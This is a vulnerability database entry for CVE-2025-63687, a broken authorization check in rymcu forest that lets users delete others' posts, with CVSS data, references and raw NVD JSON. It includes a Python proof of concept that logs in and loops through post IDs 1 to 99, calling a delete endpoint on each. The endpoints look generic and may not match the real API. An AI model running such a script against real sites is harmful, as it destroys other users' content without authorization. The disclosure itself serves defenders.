CVE-2025-63687

Description

An issue was discovered in rymcu forest thru commit f782e85 (2025-09-04) in function doBefore in file src/main/java/com/rymcu/forest/core/service/security/AuthorshipAspect.java, allowing authorized attackers to delete arbitrary users posts.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rymcu:forest:*:*:*:*:*:*:*:* - VULNERABLE

rymcu forest commit < f782e85 (2025-09-04)

特定版本需参考官方GitHub仓库的commit历史

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-63687 PoC - rymcu forest 授权绕过删除任意用户帖子
import requests
import json

# 配置目标环境
TARGET_URL = "http://target-website.com"
LOGIN_URL = f"{TARGET_URL}/api/login"
DELETE_POST_URL = f"{TARGET_URL}/api/post/delete"

# 步骤1: 登录获取认证token
def login(username, password):
    session = requests.Session()
    response = session.post(LOGIN_URL, json={
        "username": username,
        "password": password
    })
    if response.status_code == 200:
        return session, response.json().get('token')
    return None, None

# 步骤2: 删除任意用户帖子的PoC
def delete_arbitrary_post(session, victim_post_id):
    """
    由于AuthorshipAspect的doBefore函数未正确验证帖子所有权
    攻击者可以删除任意post_id对应的帖子
    """
    headers = {
        "Content-Type": "application/json",
        # 添加必要的认证头
    }
    
    payload = {
        "postId": victim_post_id  # 目标受害者帖子的ID
    }
    
    response = session.post(DELETE_POST_URL, json=payload, headers=headers)
    
    if response.status_code == 200 and response.json().get('success'):
        print(f"[+] 成功删除帖子 ID: {victim_post_id}")
        return True
    else:
        print(f"[-] 删除失败: {response.text}")
        return False

# 主程序
if __name__ == "__main__":
    # 使用攻击者账户登录
    attacker_session, token = login("attacker_username", "attacker_password")
    
    if attacker_session:
        # 遍历尝试删除多个帖子ID
        for post_id in range(1, 100):
            delete_arbitrary_post(attacker_session, post_id)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63687
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63687
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63687/
[4] VulDB https://vuldb.com/cve/CVE-2025-63687
[5] https://gist.github.com/LockeTom/564d5be6b75bb64d120daed96d74ec9c
[6] https://github.com/rymcu/forest/issues/193

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63687", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:42.383", "lastModified": "2026-01-21T21:05:34.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in rymcu forest thru commit f782e85 (2025-09-04) in function doBefore in file src/main/java/com/rymcu/forest/core/service/security/AuthorshipAspect.java, allowing authorized attackers to delete arbitrary users posts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rymcu:forest:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-04", "matchCriteriaId": "53C995E6-F16B-4E65-BEA8-2155D74E3320"}]}]}], "references": [{"url": "https://gist.github.com/LockeTom/564d5be6b75bb64d120daed96d74ec9c", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/rymcu/forest/issues/193", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}